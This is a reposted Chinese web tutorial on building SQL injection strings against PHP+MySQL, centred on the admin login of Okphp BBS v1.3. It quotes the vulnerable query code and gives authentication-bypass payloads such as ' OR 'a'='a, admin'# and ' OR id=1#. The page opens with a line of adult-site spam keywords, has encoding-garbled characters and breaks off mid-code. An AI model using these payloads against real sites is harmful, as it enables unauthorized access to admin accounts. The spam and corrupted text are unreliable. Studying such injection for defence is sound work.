欧美日韩不卡一区二区三区,www.蜜臀.com,高清国产一区二区三区四区五区,欧美日韩三级视频,欧美性综合,精品国产91久久久久久,99a精品视频在线观看

php語言

攻擊方法注射語句構(gòu)造php+mysql

時(shí)間:2025-05-24 21:06:45 php語言 我要投稿
  • 相關(guān)推薦

攻擊方法注射語句構(gòu)造php+mysql

  以下是百分網(wǎng)小編精心為大家整理的利用php+mysql注射語句構(gòu)造的攻擊方法,希望對(duì)大家有所幫助!更多內(nèi)容請(qǐng)關(guān)注應(yīng)屆畢業(yè)生網(wǎng)!

  一.前言:

  版本信息:Okphp BBS v1.3 開源版

  下載地址:http://www.cncode.com/SoftView.asp?SoftID=1800

  由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時(shí)語句的構(gòu)造方面更是個(gè)難點(diǎn),本文主要是借對(duì)Okphp BBS v1.3一些文件得簡(jiǎn)單分析,來談?wù)刾hp+mysql注射語句構(gòu)造方式,希望本文對(duì)你有點(diǎn)幫助。

  聲明:文章所有提到的“漏洞”,都沒有經(jīng)過測(cè)試,可能根本不存在,其實(shí)有沒有漏洞并不重要,重要的是分析思路和語句構(gòu)造。

  二.“漏洞”分析:

  1.admin/login.php注射導(dǎo)致繞過身份驗(yàn)證漏洞:

  代碼:

  $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

  $password = md5($password);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'";

  $res = sql_query($q,$conn);

  $row = sql_fetch_row($res);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'"中

  $username 和 $password 沒過濾, 很容易就繞過。

  對(duì)于select * from $user_table where username='$username' and password='$password'這樣的語句改造的方法有:

  構(gòu)造1(利用邏輯運(yùn)算):$username=' OR 'a'='a $password=' OR 'a'='a

  相當(dāng)于sql語句:

  select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

  構(gòu)造2(利用mysql里的注釋語句# ,/* 把$password注釋掉):$username=admin'#(或admin'/*)

  即:

  select * from $user_table where username='admin'#' and password='$password'"

  相當(dāng)于:

  select * from $user_table where username='admin'

  在admin/login.php中$q語句中的$password在查詢前進(jìn)行了md5加密所以不可以用構(gòu)造1中的語句繞過。這里我們用構(gòu)造2:

  select id,group_id from $user_table where username='admin'#' and password='$password'"

  相當(dāng)于:

  select id,group_id from $user_table where username='admin'

  只要存在用戶名為admin的就成立,如果不知道用戶名,只知道對(duì)應(yīng)的id,

  我們就可以這樣構(gòu)造:$username=' OR id=1#

  相當(dāng)于:

  select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注釋掉)

  我們接著往下看代碼:

  if ($row[0]) {

  // If not admin or super moderator

  if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {

  $login = 0;

  }

  else {

  $login = 1;

  }

  }

  // Fail to login---------------

  if (!$login) {

  write_log("Moderator login","0","password wrong");

  echo "

【攻擊方法注射語句構(gòu)造php+mysql】相關(guān)文章:

php+mysql注射語句構(gòu)造07-24

php防止SQL注入攻擊與XSS攻擊方法08-07

php防止SQL注入攻擊與XSS攻擊的方法07-01

Java語言的構(gòu)造方法07-17

對(duì)抗DDoS攻擊的15個(gè)方法07-13

php中的構(gòu)造方法與析構(gòu)方法09-18

PHP阻止SQL注入式攻擊的方法08-27

在PHP中阻止SQL注入式攻擊的方法09-07

在PHP中全面阻止SQL注入式攻擊的方法05-14